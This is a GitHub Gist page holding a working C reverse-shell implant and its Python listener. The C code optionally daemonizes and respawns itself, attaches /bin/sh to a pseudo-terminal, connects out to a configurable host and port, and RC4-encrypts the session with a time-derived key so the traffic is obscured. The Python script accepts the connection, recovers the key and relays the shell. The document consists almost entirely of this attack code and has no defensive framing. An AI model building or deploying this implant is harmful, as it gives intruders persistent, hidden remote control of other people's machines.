Last active
November 8, 2023 15:48
-
-
Save mnixry/d0cea88415d6cff810d2b7cd72e65d48 to your computer and use it in GitHub Desktop.
Reverse shell with TTY and RC4 obfuscated traffic.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdint.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <pty.h> | |
#include <time.h> | |
#include <arpa/inet.h> | |
#include <signal.h> | |
#include <sys/select.h> | |
#include <sys/wait.h> | |
#ifndef ENCRYPTION_KEY | |
#define ENCRYPTION_KEY "CHANGE_ME" | |
#endif | |
#ifndef CONNECT_HOST | |
#define CONNECT_HOST "127.0.0.1" | |
#endif | |
#ifndef CONNECT_PORT | |
#define CONNECT_PORT 4444 | |
#endif | |
#ifndef SHELL_COMMAND | |
#define SHELL_COMMAND "/bin/sh" | |
#endif | |
#define BUFFER_LENGTH 1024 | |
#define LOW4BYTES(x) \ | |
{ \ | |
x & 0xFF, (x >> 8) & 0xFF, (x >> 16) & 0xFF, (x >> 24) & 0xFF \ | |
} | |
#define SWAP(a, b) \ | |
{ \ | |
__typeof(a) t; \ | |
t = a; \ | |
a = b; \ | |
b = t; \ | |
} | |
#ifdef DAEMONIZE | |
#define FATAL(msg) \ | |
{ \ | |
exit(1); \ | |
} | |
#else | |
#define FATAL(msg) \ | |
{ \ | |
perror(msg); \ | |
exit(1); \ | |
} | |
#endif | |
struct rc4_state | |
{ | |
uint8_t i; | |
uint8_t j; | |
uint8_t s[256]; | |
}; | |
typedef struct rc4_state rc4_state; | |
void rc4_init(rc4_state *state, const char *key, int keylen) | |
{ | |
uint8_t j = 0; | |
for (int i = 0; i < 256; i++) | |
state->s[i] = i; | |
for (int i = 0; i < 256; i++) | |
{ | |
j = (j + state->s[i] + key[i % keylen]) % 256; | |
SWAP(state->s[i], state->s[j]); | |
} | |
state->i = 0; | |
state->j = 0; | |
} | |
uint8_t rc4_next(rc4_state *state) | |
{ | |
state->i = (state->i + 1) % 256; | |
state->j = (state->j + state->s[state->i]) % 256; | |
SWAP(state->s[state->i], state->s[state->j]); | |
return state->s[(state->s[state->i] + state->s[state->j]) % 256]; | |
} | |
uint32_t crc32(const char *s) | |
{ | |
uint32_t crc = 0xFFFFFFFF; | |
while (*s) | |
{ | |
crc ^= *s++; | |
for (int i = 0; i < 8; i++) | |
crc = (crc >> 1) ^ (0xEDB88320 & -(crc & 1)); | |
} | |
return ~crc; | |
} | |
int main(int argc, char **argv) | |
{ | |
int pid; | |
#ifdef DAEMONIZE | |
for (int i = 0; i < 2; i++) | |
{ | |
pid = fork(); | |
if (pid < 0) | |
FATAL("daemonize fork") | |
else if (pid > 0) | |
return 0; | |
} | |
#endif | |
for (;;) | |
{ | |
pid = fork(); | |
if (pid < 0) | |
FATAL("daemon fork") | |
else if (pid == 0) | |
break; | |
int status; | |
waitpid(pid, &status, 0); | |
#ifndef DAEMONIZE | |
printf("Child exited with status %d\n", status); | |
#endif | |
sleep(1); | |
} | |
// Create a pty | |
int master, slave; | |
if (openpty(&master, &slave, NULL, NULL, NULL) < 0) | |
FATAL("openpty"); | |
// Fork | |
if ((pid = fork()) < 0) | |
FATAL("fork") | |
else if (pid == 0) | |
{ | |
// Child | |
// Close the master side of the pty | |
close(master); | |
if (setsid() < 0) | |
FATAL("setsid") | |
// Set the slave side of the pty as the controlling terminal | |
if (ioctl(slave, TIOCSCTTY, NULL) < 0) | |
FATAL("ioctl") | |
dup2(slave, STDIN_FILENO); | |
dup2(slave, STDOUT_FILENO); | |
dup2(slave, STDERR_FILENO); | |
// Execute a shell | |
execl(SHELL_COMMAND, SHELL_COMMAND, NULL); | |
FATAL("execl"); | |
} | |
else | |
{ | |
// Parent | |
// Close the slave side of the pty | |
close(slave); | |
// Create a socket | |
int sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
if (sockfd < 0) | |
FATAL("socket"); | |
// Specify an address to connect to | |
struct sockaddr_in addr; | |
addr.sin_family = AF_INET; | |
addr.sin_port = htons(CONNECT_PORT); | |
addr.sin_addr.s_addr = inet_addr(CONNECT_HOST); | |
// Connect it | |
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) | |
FATAL("connect"); | |
// tag format: crc32(ENCRYPTION_KEY + "%d" % time()) | |
time_t tag_time = time(NULL); | |
char tag_string[sizeof(ENCRYPTION_KEY) + 16]; | |
sprintf(tag_string, "%s%ld", ENCRYPTION_KEY, tag_time); | |
uint32_t tag = crc32(tag_string); | |
char tag_buf[4] = LOW4BYTES(tag); | |
// mangle encryption key to ensure difference every time | |
char mangled_encryption_key[sizeof(ENCRYPTION_KEY)] = ENCRYPTION_KEY; | |
for (int i = 0; i < sizeof(ENCRYPTION_KEY); i++) | |
mangled_encryption_key[i] ^= tag_buf[i % sizeof(tag_buf)]; | |
// Send tag | |
if (send(sockfd, &tag, sizeof(tag), 0) < 0) | |
FATAL("send tag") | |
// Initialize RC4 states | |
rc4_state rc4recv, rc4send; | |
rc4_init(&rc4recv, mangled_encryption_key, sizeof(mangled_encryption_key) - 1); | |
rc4_init(&rc4send, mangled_encryption_key, sizeof(mangled_encryption_key) - 1); | |
// Create duplex socket connection by polling | |
int fd_max = sockfd > master ? sockfd : master; | |
char buffer[BUFFER_LENGTH]; | |
for (;;) | |
{ | |
fd_set readfds; | |
FD_ZERO(&readfds); | |
FD_SET(sockfd, &readfds); | |
FD_SET(master, &readfds); | |
struct timeval timeout; | |
timeout.tv_sec = 0; | |
timeout.tv_usec = 100 * 1000; // 100ms | |
if (select(fd_max + 1, &readfds, NULL, NULL, &timeout) < 0) | |
FATAL("select") | |
if (FD_ISSET(sockfd, &readfds)) | |
{ | |
// Read from socket and write to pty | |
int n = recv(sockfd, buffer, sizeof(buffer), 0); | |
if (n == 0) | |
break; | |
if (n < 0) | |
FATAL("recv read") | |
else if (n > 0) | |
{ | |
for (int i = 0; i < n; i++) | |
buffer[i] ^= rc4_next(&rc4recv); | |
write(master, buffer, n); | |
} | |
} | |
if (FD_ISSET(master, &readfds)) | |
{ | |
// Read from pty and write to socket | |
int n = read(master, buffer, BUFFER_LENGTH); | |
if (n == 0) | |
break; | |
if (n < 0) | |
FATAL("send read") | |
else if (n > 0) | |
{ | |
for (int i = 0; i < n; i++) | |
buffer[i] ^= rc4_next(&rc4send); | |
write(sockfd, buffer, n); | |
} | |
} | |
} | |
} | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import sys | |
from threading import Thread | |
from typing import List | |
from datetime import datetime | |
def rc4_keystream(key: bytes): | |
s = [*range(256)] | |
j = 0 | |
for i in range(256): | |
j = (j + s[i] + key[i % len(key)]) % 256 | |
s[i], s[j] = s[j], s[i] | |
i = j = 0 | |
while True: | |
i = (i + 1) % 256 | |
j = (j + s[i]) % 256 | |
s[i], s[j] = s[j], s[i] | |
yield s[(s[i] + s[j]) % 256] | |
return | |
def crc32(data: bytes): | |
crc = 0xFFFFFFFF | |
for byte in data: | |
crc ^= byte | |
for _ in range(8): | |
crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1)) | |
return crc ^ 0xFFFFFFFF | |
def guess_time(keys: List[bytes], tag: bytes): | |
now = int(datetime.now().timestamp()) | |
assert len(tag) == 4 | |
tag_num = tag[0] | tag[1] << 8 | tag[2] << 16 | tag[3] << 24 | |
def mangle_key(key: bytes, tag: bytes): | |
key_array = bytearray(key) | |
for index, val in enumerate(key_array): | |
key_array[index] = val ^ tag[index % len(tag)] | |
return bytes(key_array) | |
for try_time in range(now - 30, now + 30): | |
for key in keys: | |
if crc32(key + f"{try_time}".encode()) == tag_num: | |
return mangle_key(key, tag), try_time | |
return | |
def forward_stdin(socket: socket.socket, rc4_key: bytes): | |
rc4 = rc4_keystream(rc4_key) | |
for input in iter(lambda: sys.stdin.read(1), ""): | |
socket.sendall(bytes(a ^ b for a, b in zip(input.encode(), rc4))) | |
def forward_stdout(socket: socket.socket, rc4_key: bytes): | |
rc4 = rc4_keystream(rc4_key) | |
while True: | |
received = socket.recv(1024) | |
if len(received) == 0: | |
break | |
decrypted = bytes(a ^ b for a, b in zip(received, rc4)) | |
sys.stdout.write(decrypted.decode(errors="ignore")) | |
sys.stdout.flush() | |
def server(host: str, port: int): | |
print(f"[*] Listening on {host}:{port}") | |
rc4_key = b"CHANGE_ME" | |
with socket.create_server((host, port)) as server_socket: | |
client_socket, (source_host, source_port) = server_socket.accept() | |
print(f"[*] Accepted connection from {source_host}:{source_port}") | |
tag = client_socket.recv(4) | |
guess_result = guess_time([rc4_key], tag) | |
assert guess_result, "Failed to decrypt socket tag" | |
mangled_key, create_time = guess_result | |
print(f"[*] Tag created at {datetime.fromtimestamp(create_time)}") | |
Thread(target=forward_stdin, args=(client_socket, mangled_key)).start() | |
Thread(target=forward_stdout, args=(client_socket, mangled_key)).start() | |
if __name__ == "__main__": | |
server("127.0.0.1", 4444) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment